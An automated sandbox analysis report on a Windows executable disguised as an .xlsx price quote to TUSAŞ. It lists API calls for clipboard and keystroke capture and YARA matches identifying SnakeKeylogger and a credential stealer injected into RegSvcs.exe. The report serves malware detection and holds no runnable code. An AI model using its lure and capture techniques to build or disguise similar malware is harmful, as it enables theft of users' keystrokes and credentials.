Code function: 0_2_01013F66 OpenClipboard,IsClipboardFormatAvailable,IsClipboardFormatAvailable,GetClipboardData,CloseClipboard,GlobalLock,CloseClipboard,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,DragQueryFileW,DragQueryFileW,DragQueryFileW,GlobalUnlock,CountClipboardFormats,CloseClipboard,

0_2_01013F66

Source: C:\Users\user\Desktop\TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe

Code function: 0_2_0100001C GetKeyboardState,SetKeyboardState,GetAsyncKeyState,GetAsyncKeyState,GetKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,

0_2_0100001C

Source: C:\Users\user\Desktop\TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe

Code function: 0_2_0102CABC DefDlgProcW,SendMessageW,GetWindowLongW,SendMessageW,SendMessageW,_wcsncpy,GetKeyState,GetKeyState,GetKeyState,SendMessageW,GetKeyState,SendMessageW,SendMessageW,SendMessageW,ImageList_SetDragCursorImage,ImageList_BeginDrag,SetCapture,ClientToScreen,ImageList_DragEnter,InvalidateRect,ReleaseCapture,GetCursorPos,ScreenToClient,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,GetCursorPos,ScreenToClient,GetParent,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,GetWindowLongW,

0_2_0102CABC

System Summary

Malicious sample detected (through community Yara rule)

Source: 2.2.RegSvcs.exe.770000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 2.2.RegSvcs.exe.770000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 2.2.RegSvcs.exe.770000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 0.2.TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe.3670000.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 0.2.TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe.3670000.1.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 0.2.TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe.3670000.1.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 0.2.TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe.3670000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 0.2.TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe.3670000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 0.2.TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe.3670000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 00000002.00000002.3938554197.0000000000772000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 00000000.00000002.1492497825.0000000003670000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 00000000.00000002.1492497825.0000000003670000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 00000000.00000002.1492497825.0000000003670000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: Process Memory Space: TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe PID: 2216, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: Process Memory Space: RegSvcs.exe PID: 4780, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown

Binary is likely a compiled AutoIt script file

Source: C:\Users\user\Desktop\TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe	Code function: This is a third-party compiled AutoIt script.	0_2_00FA3B3A
Source: TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe	String found in binary or memory: This is a third-party compiled AutoIt script.
Source: TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe, 00000000.00000000.1472217423.0000000001054000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_9c41c4a5-8
Source: TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe, 00000000.00000000.1472217423.0000000001054000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: SDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBox\|SHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer`	memstr_3407b881-6
Source: TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_92b48fec-3
Source: TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe	String found in binary or memory: SDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBox\|SHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer`	memstr_df0f59d9-d

Source: C:\Users\user\Desktop\TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe

Code function: 0_2_0100A1EF: GetFullPathNameW,__swprintf,CreateDirectoryW,CreateFileW,_memset,_wcsncpy,DeviceIoControl,CloseHandle,RemoveDirectoryW,CloseHandle,

0_2_0100A1EF

Source: C:\Users\user\Desktop\TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe

Code function: 0_2_00FF8310 _memset,DuplicateTokenEx,CloseHandle,OpenWindowStationW,GetProcessWindowStation,SetProcessWindowStation,OpenDesktopW,_wcscpy,LoadUserProfileW,CreateEnvironmentBlock,CreateProcessAsUserW,UnloadUserProfile,CloseWindowStation,CloseDesktop,SetProcessWindowStation,CloseHandle,DestroyEnvironmentBlock,

0_2_00FF8310

Source: C:\Users\user\Desktop\TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe

Code function: 0_2_010051BD ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,

0_2_010051BD

Source: C:\Users\user\Desktop\TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe	Code function: 0_2_00FAE6A0	0_2_00FAE6A0
Source: C:\Users\user\Desktop\TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe	Code function: 0_2_00FCD975	0_2_00FCD975
Source: C:\Users\user\Desktop\TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe	Code function: 0_2_00FC21C5	0_2_00FC21C5
Source: C:\Users\user\Desktop\TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe	Code function: 0_2_00FD62D2	0_2_00FD62D2
Source: C:\Users\user\Desktop\TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe	Code function: 0_2_010203DA	0_2_010203DA
Source: C:\Users\user\Desktop\TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe	Code function: 0_2_00FD242E	0_2_00FD242E
Source: C:\Users\user\Desktop\TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe	Code function: 0_2_00FC25FA	0_2_00FC25FA
Source: C:\Users\user\Desktop\TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe	Code function: 0_2_00FB66E1	0_2_00FB66E1
Source: C:\Users\user\Desktop\TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe	Code function: 0_2_00FFE616	0_2_00FFE616
Source: C:\Users\user\Desktop\TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe	Code function: 0_2_00FD878F	0_2_00FD878F
Source: C:\Users\user\Desktop\TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe	Code function: 0_2_00FD6844	0_2_00FD6844
Source: C:\Users\user\Desktop\TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe	Code function: 0_2_00FB8808	0_2_00FB8808
Source: C:\Users\user\Desktop\TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe	Code function: 0_2_01020857	0_2_01020857
Source: C:\Users\user\Desktop\TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe	Code function: 0_2_01008889	0_2_01008889
Source: C:\Users\user\Desktop\TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe	Code function: 0_2_00FCCB21	0_2_00FCCB21
Source: C:\Users\user\Desktop\TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe	Code function: 0_2_00FD6DB6	0_2_00FD6DB6
Source: C:\Users\user\Desktop\TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe	Code function: 0_2_00FB6F9E	0_2_00FB6F9E
Source: C:\Users\user\Desktop\TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe	Code function: 0_2_00FB3030	0_2_00FB3030
Source: C:\Users\user\Desktop\TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe	Code function: 0_2_00FCF1D9	0_2_00FCF1D9
Source: C:\Users\user\Desktop\TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe	Code function: 0_2_00FC3187	0_2_00FC3187
Source: C:\Users\user\Desktop\TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe	Code function: 0_2_00FA1287	0_2_00FA1287
Source: C:\Users\user\Desktop\TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe	Code function: 0_2_00FC1484	0_2_00FC1484
Source: C:\Users\user\Desktop\TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe	Code function: 0_2_00FB5520	0_2_00FB5520
Source: C:\Users\user\Desktop\TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe	Code function: 0_2_00FC7696	0_2_00FC7696
Source: C:\Users\user\Desktop\TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe	Code function: 0_2_00FB5760	0_2_00FB5760
Source: C:\Users\user\Desktop\TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe	Code function: 0_2_00FC1978	0_2_00FC1978
Source: C:\Users\user\Desktop\TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe	Code function: 0_2_00FD9AB5	0_2_00FD9AB5
Source: C:\Users\user\Desktop\TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe	Code function: 0_2_00FAFCE0	0_2_00FAFCE0
Source: C:\Users\user\Desktop\TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe	Code function: 0_2_01027DDB	0_2_01027DDB
Source: C:\Users\user\Desktop\TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe	Code function: 0_2_00FCBDA6	0_2_00FCBDA6
Source: C:\Users\user\Desktop\TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe	Code function: 0_2_00FC1D90	0_2_00FC1D90
Source: C:\Users\user\Desktop\TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe	Code function: 0_2_00FB3FE0	0_2_00FB3FE0
Source: C:\Users\user\Desktop\TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe	Code function: 0_2_00FADF00	0_2_00FADF00
Source: C:\Users\user\Desktop\TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe	Code function: 0_2_01261BA8	0_2_01261BA8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_0247D278	2_2_0247D278
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_02475362	2_2_02475362
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_0247A088	2_2_0247A088
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_0247C146	2_2_0247C146
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_0247C738	2_2_0247C738
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_0247C46C	2_2_0247C46C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_0247CA08	2_2_0247CA08
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_0247E988	2_2_0247E988
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_024769A0	2_2_024769A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_02473E09	2_2_02473E09
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_02476FC8	2_2_02476FC8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_0247CFAA	2_2_0247CFAA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_0247CCD8	2_2_0247CCD8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_0247F644	2_2_0247F644
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_0247FA88	2_2_0247FA88
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_02473AA1	2_2_02473AA1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_0247E97A	2_2_0247E97A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_024729EC	2_2_024729EC

Source: C:\Users\user\Desktop\TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe	Code function: String function: 00FC0AE3 appears 70 times
Source: C:\Users\user\Desktop\TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe	Code function: String function: 00FC8900 appears 42 times
Source: C:\Users\user\Desktop\TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe	Code function: String function: 00FA7DE1 appears 35 times

Source: TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe, 00000000.00000003.1481254254.0000000003B63000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe
Source: TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe, 00000000.00000003.1480527876.0000000003D0D000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe
Source: TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe, 00000000.00000002.1492497825.0000000003670000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameRemington.exe4 vs TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe

Source: TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe

Static PE information: EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE

Source: 2.2.RegSvcs.exe.770000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 2.2.RegSvcs.exe.770000.0.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 2.2.RegSvcs.exe.770000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 0.2.TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe.3670000.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 0.2.TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe.3670000.1.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 0.2.TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe.3670000.1.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 0.2.TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe.3670000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 0.2.TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe.3670000.1.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 0.2.TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe.3670000.1.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 00000002.00000002.3938554197.0000000000772000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 00000000.00000002.1492497825.0000000003670000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 00000000.00000002.1492497825.0000000003670000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 00000000.00000002.1492497825.0000000003670000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: Process Memory Space: TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe PID: 2216, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: Process Memory Space: RegSvcs.exe PID: 4780, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23

Source: 0.2.TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe.3670000.1.raw.unpack, COVID19.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe.3670000.1.raw.unpack, VIPSeassion.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe.3670000.1.raw.unpack, VIPSeassion.cs	Cryptographic APIs: 'TransformFinalBlock'

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@3/2@3/3

Source: C:\Users\user\Desktop\TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe

Code function: 0_2_0100A06A GetLastError,FormatMessageW,

0_2_0100A06A

Source: C:\Users\user\Desktop\TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe	Code function: 0_2_00FF81CB AdjustTokenPrivileges,CloseHandle,		0_2_00FF81CB
